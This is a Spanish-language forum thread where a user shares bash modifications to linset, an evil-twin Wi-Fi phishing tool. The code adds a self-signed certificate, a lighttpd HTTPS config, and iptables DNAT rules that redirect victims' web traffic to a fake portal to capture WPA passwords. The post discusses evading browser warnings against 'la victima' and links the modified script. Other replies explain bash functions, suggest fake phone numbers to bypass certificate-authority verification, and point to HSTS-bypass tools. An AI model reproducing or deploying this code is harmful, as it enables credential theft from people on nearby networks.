Foro Wifi-libre.com

Buenas
He movido tu tema en el foro dedicado a scripts a programación y lo he editado con el opción "insertar código"
preatack y atack son muy probablemente funciones y no las has definido.
busca las en el script original  y ponlas antes de utilizarlas en el código (porque si no son definidas tendrás este error.)
haré un pequeño tema sobre funciones en bash luego para que tengas claro el funcionamiento, ya verás, es muy fácil y es muy útil.

No es ninguna molestia
  He hecho un pequeño tema sobre funciones en bash : [Bash] Funciones
Si tienes preguntas sobre las funciones, o si algo no te ha quedado bien claro, o lo que sea, no dudes en escribir un post y te pondré otros ejemplos explicados para que lo entiendas.

El problema que tienes aquí es que usas funciones sin definir...
tienes que buscar dónde se declaran las funciones (veras en el hilo como se declaran) para pegar las antes de usar las
aqui estas definiendo la función "function webinterface " y te falla po0rque usa dos funciones sin definir ( preatack y atack )
Tienes que declarar y definir las funciones "preatack" y "atack" antes de definir esta función

Te he editado el mensage para que salga la imagen
¡Te han pilado!
Es como dices, no se traga el https.
Tendrías que examinar la parte de codigó que se encarga de esto para ver cuales son los comandos empleados.
Sabes así cuales son las librerias que se usan.
Y sería reescribir la parte que falla (lo mejor) de tal forma que funcione que las ultimas versiones o hacer un downgrade (solución mala) de las librerias.

bueno ya que kdctv ha tenido paciencia y no se ha reido de mi con lo de crear certificados ssl ; hay que pagar para crear uno que google no lo detecte como malo ademas de validarlo .........

openssl req -subj '/CN=SEGURO/O=SEGURA/OU=SEGURA/C=US' -new -newkey rsa:2048 -days 365 -nodes -x509 -keyout $DUMP_PATH/server.pem -out $DUMP_PATH/server.pem.

creo que esta bien le dice crea certificado atuofirmado con clave de 2o48 bits con permanencia de 1 año y que la de en formato pem y que las guarde en las carpetas corespondientes

muestro  lo poco que he llegado a hacer  mostrando como he añadido lo de la creacion de los ssl para si alguien  ve algo en lo que pueda dar luz o simplemente jugar a romper scripts ya que no tiene otro nombre ;  de primeras no canta mucho te da 2 intentos o tres hasta que salta google  que lo detecta la victima volvera a cerrar el navegador volvera a abrirlo y 2 intentos mas sin que ggogle lo detecte  ...... pero no es valido para android ya que los moviles no abren nueva pestaña en el buscador  tampoco funciona como es debido en wifislax 4.11.1  pero si en la 4.9

como ven enseño la primera que da ggole acto seguido como se ve abre pestaña con el index de linset

esta es la que canta aun asi se ve que ha abierto nueva pestaña con el index a la que nos redireciona nos saltaria el index y quedaria debajo la pestaña que canta lo mismo que la captura anterior
------------------------

1 Añadimos las dependencias de zenity y openssl para añadir soporte https y poder crear certificado ssl ya que linset 0.14 no las tiene
  vamos al apartado y le añadimos al final veran por logica donde iran ya que veran que les falta zenity y openssl
en # Comprueba la existencia de todas las dependencias     al final añadir

	echo -ne "Zenity..........."
	if ! hash zenity 2>/tmp/null; then
		echo -e "\e[1;31mNot installed"$rescolor""
		salir=1
	else
		echo -e "\e[1;32mOK!"$rescolor""
	fi
	sleep 0.025
	
	echo -ne "Openssl..........."
	if ! hash openssl 2>/tmp/null; then
		echo -e "\e[1;31mNot installed"$rescolor""
		salir=1
	else
		echo -e "\e[1;32mOK!"$rescolor""
	fi
	sleep 0.025
	
	if [ "$salir" = "1" ]; then
	exit 1
	fi	
	
	sleep 1
	clear
}
mostrarheader
checkdependences

2 añadimos unas lineas en el apartado metodo de comprobacion de pass (en linset 0.14 o cualquier version )

# Metodo de comprobacion de PASS si elegiste airbase-ng

# Metodo de comprobacion de PASS si elegiste airbase-ng
function askauth {
	
	conditional_clear
	
	mostrarheader
	while true; do
		
		echo "METODO DE VERIFICACIÓN DE PASS"
		echo "                                       "
		echo -e "      "$verde"1)"$rescolor" Handshake ("$rojo"Recomendado"$rescolor")"
		echo -e "      "$verde"2)"$rescolor" wpa_supplicant (Menos efectivo / Mas fallos)"
		echo -e "      "$verde"3)"$rescolor" Atras"
		echo -e "      "$verde"4)"$rescolor" Salir"                                                 (añadimos linea opcion 4)
		echo -n "      #> "
		read yn
		echo ""
		case $yn in
			1 ) authmode="handshake"; deauthforce; break ;;
			 2 ) authmode="wpa_supplicant"; certssl; break ;;                  ( sustituimos linea =    2 ) authmode="wpa_supplicant"; certssl; break ;; )
			3 ) askAP; break ;;                                                                                          
			4 ) exitmode ; break ;;                                                             (añadimos linea opcion 4)
			* ) echo "Opción desconocida. Elige de nuevo"; conditional_clear ;;
		esac
	done 
	
} 

3 en comprueba en hanskake antes de continuar 

# Comprueba el handshake antes de continuar
function checkhandshake {
	if [ "$handshakemode" = "normal" ]; then
		if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then
			killall airodump-ng &>$linset_output_device
			certssl   --------------------------------- (linea cambiada )
			break
		else
			Handshake_statuscheck="${rojo}Malo$rescolor"
		fi
	elif [ "$handshakemode" = "hard" ]; then
		cp $DUMP_PATH/$Host_MAC-01.cap $DUMP_PATH/test.cap &>$linset_output_device
		
		if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then
			killall airodump-ng &>$linset_output_device
			certssl   --------------------------------- (linea cambiada )
			break
		else
			if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then
				Handshake_statuscheck="${amarillo}Corrupto$rescolor"
			else
				Handshake_statuscheck="${rojo}Malo$rescolor"
			fi
		fi
		
		rm $DUMP_PATH/test.cap &>$linset_output_device
	fi
	deauthMENU
}

function deauthMENU {
	
	Handshake_statuscheck="${gris}Sin handshake$rescolor"
	
	while true; do
		conditional_clear   (eliminamos linea )
		mostrarheader      (eliminamos linea )
		
		echo "¿SE CAPTURÓ el HANDSHAKE?"
		echo 
		echo -e "Estado del handshake: $Handshake_statuscheck"
		echo
		echo -e "      "$verde"1)"$rescolor" Si" 
		echo -e "      "$verde"2)"$rescolor" No (lanzar ataque de nuevo)"
		echo -e "      "$verde"3)"$rescolor" No (seleccionar otro ataque)"  
		echo -e "      "$verde"4)"$rescolor" Seleccionar otra red"  
		echo -e "      "$verde"5)"$rescolor" Salir"
		echo " "
		echo -n '      #> '
		read yn
		
		case $yn in
			1 ) checkhandshake;;
			2 ) capture; $DEAUTH & ;;
			3 ) conditional_clear; askclientsel; break;;
			4 ) killall airodump-ng &>$linset_output_device; CSVDB=dump-01.csv; breakmode=1; selection; break ;;
			5 ) exitmode; break;;
			* ) echo "Opción desconocida. Elige de nuevo"; conditional_clear ;;
		esac
		
	done
}

4 añadimos la creacion de certificados antes de entre ataque y hanskake copiar y pegar todo como esta

############################################# < CERTIFICADO SSL (Indispensable para el soporte ssl (https) ) > ############################################
function certssl 
{
#Verifica que exista el certificado ssl autofirmado y que sea correcto

	if [ -f $DUMP_PATH/server.pem  ] 
	then
		if [ -s $DUMP_PATH/server.pem ]; then
		webinterface 
	        break
		else 
		echo "se crea cerificado"
		echo 
		echo
		echo -e "      "$verde"1)"$rescolor" Crear Certificado ssl" 
		echo -e "      "$verde"2)"$rescolor" Buscar de nuevo el Certificado ssl"
		echo -e "      "$verde"3)"$rescolor" Salir"  
		echo " "
		echo -n '      #> '
		read yn
		case $yn in
			1 ) creassl;;
			2 ) certssl;break;;
			3 ) exitmode; break;;
			* ) certssl ;;
		esac
		fi
	else
		while true; do
		echo "verifica y crea"
		echo 
		echo
		echo -e "      "$verde"1)"$rescolor" Crear Certificado ssl" 
		echo -e "      "$verde"2)"$rescolor" Buscar de nuevo el Certificado ssl"
		echo -e "      "$verde"3)"$rescolor" Salir"
		echo " "
		echo -n '      #> '
		read yn
		case $yn in
			1 ) creassl;;
			2 ) certssl;break;;
			3 ) exitmode; break;;
			* )certssl ;;
		esac
		
	done
		
	fi
	

}
#Crea el Certificado ssl Autofirmado
function creassl
{

		
		xterm -title "Creando Certificado ssl Autofirmado" -e openssl req -subj '/CN=SEGURO/O=SEGURA/OU=SEGURA/C=US' -new -newkey rsa:2048 -days 365 -nodes -x509 -keyout $DUMP_PATH/server.pem -out $DUMP_PATH/server.pem
		certssl
}

############################################# < CERTIFICADO SSL (Indispensable para el soporte ssl (https) ) > ############################################

justo debajo en ataque establecemos permisos al servidor permanente  en ataque

############################################# < ATAQUE > ############################################

# Selecciona interfaz web que se va a usar
function webinterface {
#Establece Permisos al Certificado ssl Autofirmado     |lineas modificadas o añadidas |
	chmod 400 $DUMP_PATH/server.pem                |lineas modificadas o añadidas |
	
	while true; do 

En      se crea el configurador del servidor web Lighttpd

# Se crea el config del servidor web Lighttpd      (Aqui se establece el soporte https (ssl) y redireccionamiento a http)

echo "server.document-root = \"$DUMP_PATH/data/\"        (data direccion añadida si ya la teneis lo vereis)

server.modules = (
  \"mod_access\",
  \"mod_alias\",
  \"mod_accesslog\",
  \"mod_fastcgi\",
  \"mod_redirect\",
  \"mod_rewrite\"
) 

fastcgi.server = ( \".php\" => ((
		  \"bin-path\" => \"/usr/bin/php-cgi\",
		  \"socket\" => \"/php.socket\"
		)))

server.port =80
server.pid-file = \"/var/run/lighttpd.pid\"
# server.username = \"www\"
# server.groupname = \"www\"

mimetype.assign = (
\".html\" => \"text/html\",
\".htm\" => \"text/html\",
\".txt\" => \"text/plain\",
\".jpg\" => \"image/jpeg\",
\".png\" => \"image/png\",
\".css\" => \"text/css\"
)


server.error-handler-404 = \"/\"

static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" )
index-file.names = ( \"index.htm\" )

\$SERVER[\"socket\"] == \":443\" {                                         (añadimos redireccionamiento )
	url.redirect = ( \"^/(.*)\" => \"http://www.internet.com\")        (podeis inventar la pagina )
	ssl.engine                  = \"enable\" 
	ssl.pemfile                 = \"$DUMP_PATH/server.pem\"
   
}
" >$DUMP_PATH/lighttpd.con

el la sigiuente direcion añadimos redirecionamiento al puerto 443

# Prepara las tablas de enrutamiento para establecer un servidor DHCP/WEB
function routear {
	
	ifconfig $interfaceroutear up
	ifconfig $interfaceroutear $IP netmask 255.255.255.0
	
	route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP
	echo "1" > /proc/sys/net/ipv4/ip_forward
	
	iptables --flush
	iptables --table nat --flush
	iptables --delete-chain
	iptables --table nat --delete-chain
	iptables -P FORWARD ACCEPT
	
	iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80
	iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $IP:443     (añadida)
	iptables -A INPUT -p tcp --sport 443 -j ACCEPT                                        (añadida)
	iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT                                       (añadida)
	iptables -t nat -A POSTROUTING -j MASQUERADE
}

eso es todo          no intento dar lecciones ;me las tendrian que dar a mi ;lo hago con toda humildad para demostrar que he echo lo que he podido en mi corto conocimiento me encantaria que se hicieran comentarios acerca de como se podria crear un ssl que no cante ya que yo no .....
perdon por el toston si quieren o no le ven nada provechoso lo pueden borrar solo queria compartir a lo poco que he llegado
gracias a mx kukulkan por dejar un script tan claro diciendo donde va cada cosa para el ssl
y como no al creador de script vk496

Lo dicho solo funciona correctamente en wifislax 4.9 Para aquellos que han sabido leer detenidamente el post

chmod /root/Desktop/linset1

/root/Desktop/linset1

https://mega.nz/#!WIR3QDwL!Lzyf07ISqWgQ … h2xcp2JTz8

salu2

Ultima edición por dynyly (15-09-2015 01:52:39)

tengo que decir algo tengo doble personalidad pero no soy capaz de alimentar a varias mujers como tu ...tu eres un crack
lo digo pporque a fijo que veras post parecidos para nada iguales pidiendo informacion en otros lugares de cuyo nombre no me quiero acordar
me descubro ante este respetable foro soy najador =corredor 
soy dynyly=loco
creo que ya era hora de decirlo
no me mal interpreteis amigos con la doble personalida:D
espero entiendas ha veces se hace eso ; me he llevado varios palos pero aqui veo paciencia con los pelagatos como yo ; ya  que veo muchos nombres conocidos de gente con altos conocimientos aun asi no se ruboriza a nadie por sus preguntas a veces ilogicas entendiendo que somos humanos y a veces el que tiene boca se equivoca                                       
solo quiero adquirir conocimiento
La plataforma antitrabajo se ha quedao en mi zona y lleva tiempo aqui establecida como campamento base
salu2

Ultima edición por dynyly (16-08-2015 00:55:15)

Muchas gracias por el link Betis; Es muy bueno tener lo bajo el codo.
@ dynyly
  Los bipolares de todos colores son los bienvenidos en el manicomio auto-gestionada llamado WiFi-libre
Si; me suena tu otro nick 
  No hay problemas "compi"   : No soy de acuerdo con muchas, muchas cosas en este sitio cuyo nombre se te ha escapado  ...
Así que lo que ha pasado o lo que pasa ahí (o allá) no importa un pimiento aquí.
Aquí como en casa, con o sin tu bipolaridad.   
A caso no lo somos tod@s un poco (bipolares o tripolares)? 

De esto se trata:  Compartir conocimiento.
Nadie nace sabiéndolo todo, no tod@s (yo primero) hemos hecho estudios en informática o venimos de un entorno social-familial en "fase con las nuevas tecnologías."
Asi que hay que ir sin medio y sin vergüenzas.
Muchas veces la gente van de sabionda y le gusta presumir y cuando rascas un poco...
Somos unos novatos permanentes, unos ignorantes y hay que ser orgulloso de serlo.
Hay un dicho de Burundi occidental que dice :  "Cuando el mono se sube a las ramas se le ve el culo" 
No es verdad pero no sabia como acabar este post.

kcdtv
siempre es bueno tener cosa de esta, si se maneja servidores o dominio, y los centificado https son muy importante en dominio web.

dynyly
pues la verdad no se como los a echo tu, yo estoy registrado en StartSSL y en ningun momento me ha perdido el numero de telefono para activar los centificado, yo tengo dos dominio utilizando los centificado de StartSSL, eso si los centificado que yo es utilizado son para dominio no ser cual centficado abra eligido tu.

te aseguro que la empresa StartSSL es una empresa seria, para que vea el grado de confianza que tiene los centificado de StartSSL que son aceptado con soporte de visto bueno de los navegadores  Chrome , firefox, internet explores

quiza los esta haciendo bien, y sea una nueva politica de seguridad de StartSSL a pedir el numero de telefono como confirmación, yo sinceramente los veo bien, y no creo que te vayan hackear el telefono por darle tu numero. de todos modo si no quiere poner tu numero de telefono puede utiliza numero de telefono falso y recibir la confirmación en ese numero falso. los numero de telefono falso se a usado para activar el whatsapp en los pc o table. hay una pagina que dar numero de telefono falso que ahora no recuerdo es enlaces y es efectivo este metodo.

un buen programador serio o que tiene la cabeza bien puesta nunca se va a reir de otros programador que esta enperzando esta haciendo su pinito en la programación y si ese programador se rier de otros programador con menos conocimiento te aseguro que ese programador que se rier no saber nada.

es ejemplo los tiene en mi que seguramente la gentes se rier de como escribo con miles de falta de ortografia y no le llegue a entra en la cabeza que sea un buen programador y que sepa de muchas cosa. en definitiva no hay que juzga a la gentes si no el trabajo final, en este caso aunque tu tenga poco conocimiento tu trabajo de este proyecto es brillante y el resultado que esta teniendo es muy bueno eso es los que marca la diferencia entres un buen programador el resultado final.

El foro es para códigos libres y distribuciones GNU-Linux, no hay problemas,
Esto es un script bash : es un código libre que se puede utilizar en distribuciones GNU-LInux.
Tambien he puesto un espacio para hablar de programas libres en sistemas que no son distribuciones GNU-Linux.
No hay problema
A lo mejor deberías intentar solo centrate primero en este aspecto en lugar de ir modificando linset : Te complicas la vida para lograr lo que buscas en este punto y que de ta guerra
Bypassing HSTS SSL with the Mana Toolkit
La burp suite (incluida en kali en su versión gratis) podría ser una vía a explorar.
suerte amig@

Buenos días markrenton88
Y bienvenido a wifi-libre.
Tienes una sección para presentarte (si te apetece) : Siempre esta bien visto cuando entras en una comunidad saludar a los otro@s redactando un tema en la sección para presentaciones
Presentaciones

  Tu pregunta no tiene mucho que ver con el tema de este topic.
Lo suyo seria que abres otro tema en el foro adecuado y que de paso nos des mucho mas detalles sobre lo que ocurre.
Si tienes un problema con un script deberías contactar con el autor o ir al sitio web donde da soporte.
Aquí somos un foro enfocado a distribuciones GNU-Linux  ( y distribuciones como slackware - y por lo tanto wifislax - o por ejemplo Android no lo son )
Y el autor del script no  es miembro de nuestra comunidad.... De todo modo no tenemos vocación a dar soporte a esta distribución o este script : tienes muchos lugares en la web  para encontrar asesoramiento.
  Nosotr@s somos aquí para proponer algo diferente: Dar asesoramiento sobre distribuciones GNU-Linux ( desde ubutnu hasta arch linux pasando por la distribucion de pentest kali linux)
  Un script es... solo un script; y sirve para ahorrar tiempo una vez que controlas.
Si quieres dominar una técnica tienes que aprender a hacer la en linea de comando.
Haciendo las cosas en linea de comandos podrás identificar con exactitud cual es le problema y podrás encontrar mucho mas rápido el remedio
Saludos

Tu mismo pero no hay nada amoral o non ético en hablar de código libre y hacer modificaciones.( O en hablar certificados https. )
A mi me parece un tema interesante y, a mi gusto, ningún mensaje sobra

Vale, no es "perfecto", pero es suficiente... ¡Bien hecho!